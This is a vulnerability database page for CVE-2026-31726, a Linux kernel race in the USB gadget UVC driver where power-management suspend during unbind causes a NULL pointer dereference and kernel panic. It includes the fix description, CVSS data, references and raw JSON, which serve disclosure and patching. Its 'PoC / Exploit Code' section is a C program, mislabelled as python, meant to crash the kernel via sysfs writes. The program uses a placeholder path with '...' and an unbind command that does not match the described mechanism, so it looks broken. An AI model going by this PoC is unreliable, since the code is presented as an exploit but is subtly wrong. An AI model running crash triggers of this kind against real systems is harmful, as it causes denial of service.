CVE-2026-31726

Description

In the Linux kernel, the following vulnerability has been resolved: usb: gadget: uvc: fix NULL pointer dereference during unbind race Commit b81ac4395bbe ("usb: gadget: uvc: allow for application to cleanly shutdown") introduced two stages of synchronization waits totaling 1500ms in uvc_function_unbind() to prevent several types of kernel panics. However, this timing-based approach is insufficient during power management (PM) transitions. When the PM subsystem starts freezing user space processes, the wait_event_interruptible_timeout() is aborted early, which allows the unbind thread to proceed and nullify the gadget pointer (cdev->gadget = NULL): [ 814.123447][ T947] configfs-gadget.g1 gadget.0: uvc: uvc_function_unbind() [ 814.178583][ T3173] PM: suspend entry (deep) [ 814.192487][ T3173] Freezing user space processes [ 814.197668][ T947] configfs-gadget.g1 gadget.0: uvc: uvc_function_unbind no clean disconnect, wait for release When the PM subsystem resumes or aborts the suspend and tasks are restarted, the V4L2 release path is executed and attempts to access the already nullified gadget pointer, triggering a kernel panic: [ 814.292597][ C0] PM: pm_system_irq_wakeup: 479 triggered dhdpcie_host_wake [ 814.386727][ T3173] Restarting tasks ... [ 814.403522][ T4558] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000030 [ 814.404021][ T4558] pc : usb_gadget_deactivate+0x14/0xf4 [ 814.404031][ T4558] lr : usb_function_deactivate+0x54/0x94 [ 814.404078][ T4558] Call trace: [ 814.404080][ T4558] usb_gadget_deactivate+0x14/0xf4 [ 814.404083][ T4558] usb_function_deactivate+0x54/0x94 [ 814.404087][ T4558] uvc_function_disconnect+0x1c/0x5c [ 814.404092][ T4558] uvc_v4l2_release+0x44/0xac [ 814.404095][ T4558] v4l2_release+0xcc/0x130 Address the race condition and NULL pointer dereference by: 1. State Synchronization (flag + mutex) Introduce a 'func_unbound' flag in struct uvc_device. This allows uvc_function_disconnect() to safely skip accessing the nullified cdev->gadget pointer. As suggested by Alan Stern, this flag is protected by a new mutex (uvc->lock) to ensure proper memory ordering and prevent instruction reordering or speculative loads. This mutex is also used to protect 'func_connected' for consistent state management. 2. Explicit Synchronization (completion) Use a completion to synchronize uvc_function_unbind() with the uvc_vdev_release() callback. This prevents Use-After-Free (UAF) by ensuring struct uvc_device is freed after all video device resources are released.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (修复补丁之前)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * Conceptual PoC for CVE-2026-31726
 * Trigger race condition between PM suspend and USB gadget unbind.
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/wait.h>

#define UVC_DEVICE "/dev/video0"

void trigger_unbind() {
    // Simulate unbind operation which sets cdev->gadget = NULL
    // Requires specific configfs or module unload permissions
    system("echo 'udc' > /sys/class/udc/.../function"); 
}

void trigger_pm_freeze() {
    // Trigger system freeze to interrupt wait_event
    system("echo freeze > /sys/power/state");
}

int main() {
    pid_t pid;
    int fd = open(UVC_DEVICE, O_RDWR);
    
    if (fd < 0) {
        perror("Failed to open UVC device");
        return 1;
    }

    printf("Starting PoC for CVE-2026-31726\n");

    pid = fork();
    if (pid == 0) {
        // Child process: Trigger PM freeze
        sleep(1);
        trigger_pm_freeze();
        exit(0);
    } else {
        // Parent process: Trigger unbind during freeze
        sleep(2); // Wait for freeze to start
        trigger_unbind();
        
        wait(NULL);
        // Upon resume, the kernel attempts to release the device
        // accessing the NULL pointer -> Kernel Panic
        close(fd);
    }
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31726
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31726
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31726/
[4] VulDB https://vuldb.com/cve/CVE-2026-31726
[5] https://git.kernel.org/stable/c/0587de744615628c38e33ddc1601160a5ea8c50a
[6] https://git.kernel.org/stable/c/0c00ec409d7b2bce3fcac73188b79a141db7cfda
[7] https://git.kernel.org/stable/c/1aa9356881ee4ed414bf72d0c56d915492cb5345
[8] https://git.kernel.org/stable/c/8a1128d604c360eca135f15b882b70256a522145
[9] https://git.kernel.org/stable/c/c038ba56b92e410d1caec22b2dc68780a0b42091
[10] https://git.kernel.org/stable/c/c78e463ee134b4669579d453c81ae00795e4c19a
[11] https://git.kernel.org/stable/c/d92d1532e05b1b31d36d48765e43bf73d793d19f
[12] https://git.kernel.org/stable/c/eba2936bbe6b752a31725a9eb5c674ecbf21ee7d

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31726", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:35.063", "lastModified": "2026-05-07T16:26:18.460", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: gadget: uvc: fix NULL pointer dereference during unbind race\n\nCommit b81ac4395bbe (\"usb: gadget: uvc: allow for application to cleanly\nshutdown\") introduced two stages of synchronization waits totaling 1500ms\nin uvc_function_unbind() to prevent several types of kernel panics.\nHowever, this timing-based approach is insufficient during power\nmanagement (PM) transitions.\n\nWhen the PM subsystem starts freezing user space processes, the\nwait_event_interruptible_timeout() is aborted early, which allows the\nunbind thread to proceed and nullify the gadget pointer\n(cdev->gadget = NULL):\n\n[ 814.123447][ T947] configfs-gadget.g1 gadget.0: uvc: uvc_function_unbind()\n[ 814.178583][ T3173] PM: suspend entry (deep)\n[ 814.192487][ T3173] Freezing user space processes\n[ 814.197668][ T947] configfs-gadget.g1 gadget.0: uvc: uvc_function_unbind no clean disconnect, wait for release\n\nWhen the PM subsystem resumes or aborts the suspend and tasks are\nrestarted, the V4L2 release path is executed and attempts to access the\nalready nullified gadget pointer, triggering a kernel panic:\n\n[ 814.292597][ C0] PM: pm_system_irq_wakeup: 479 triggered dhdpcie_host_wake\n[ 814.386727][ T3173] Restarting tasks ...\n[ 814.403522][ T4558] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000030\n[ 814.404021][ T4558] pc : usb_gadget_deactivate+0x14/0xf4\n[ 814.404031][ T4558] lr : usb_function_deactivate+0x54/0x94\n[ 814.404078][ T4558] Call trace:\n[ 814.404080][ T4558] usb_gadget_deactivate+0x14/0xf4\n[ 814.404083][ T4558] usb_function_deactivate+0x54/0x94\n[ 814.404087][ T4558] uvc_function_disconnect+0x1c/0x5c\n[ 814.404092][ T4558] uvc_v4l2_release+0x44/0xac\n[ 814.404095][ T4558] v4l2_release+0xcc/0x130\n\nAddress the race condition and NULL pointer dereference by:\n\n1. State Synchronization (flag + mutex)\nIntroduce a 'func_unbound' flag in struct uvc_device. This allows\nuvc_function_disconnect() to safely skip accessing the nullified\ncdev->gadget pointer. As suggested by Alan Stern, this flag is protected\nby a new mutex (uvc->lock) to ensure proper memory ordering and prevent\ninstruction reordering or speculative loads. This mutex is also used to\nprotect 'func_connected' for consistent state management.\n\n2. Explicit Synchronization (completion)\nUse a completion to synchronize uvc_function_unbind() with the\nuvc_vdev_release() callback. This prevents Use-After-Free (UAF) by\nensuring struct uvc_device is freed after all video device resources\nare released."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.10.117", "versionEndExcluding": "5.10.253", "matchCriteriaId": "3107A7FD-A692-4C8A-AEB6-F0D2F2662FB9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.15.41", "versionEndExcluding": "5.15.203", "matchCriteriaId": "10AB2B1C-2087-4373-A0B0-DF5A1661F0BA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.18", "versionEndExcluding": "6.1.168", "matchCriteriaId": "BA6F49FC-BA51-4640-976D-34617774A48C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.134", "matchCriteriaId": "F56F925B-BAF8-4F4B-B62F-1496AF19A307"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.81", "matchCriteriaId": "6EF80433-B33B-43C5-8E64-0FA7B8DCE1BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": " ... 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